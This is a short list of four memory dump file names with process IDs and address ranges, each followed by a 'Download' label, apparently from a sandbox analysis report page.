memory/4404-392-0x0000000005720000-0x0000000005D26000-memory.dmp

Download

memory/4636-352-0x00000000025B0000-0x00000000025B1000-memory.dmp

Download

memory/4716-411-0x0000000005490000-0x0000000005A96000-memory.dmp

Download

memory/5052-375-0x0000000000400000-0x00000000004CC000-memory.dmp

Download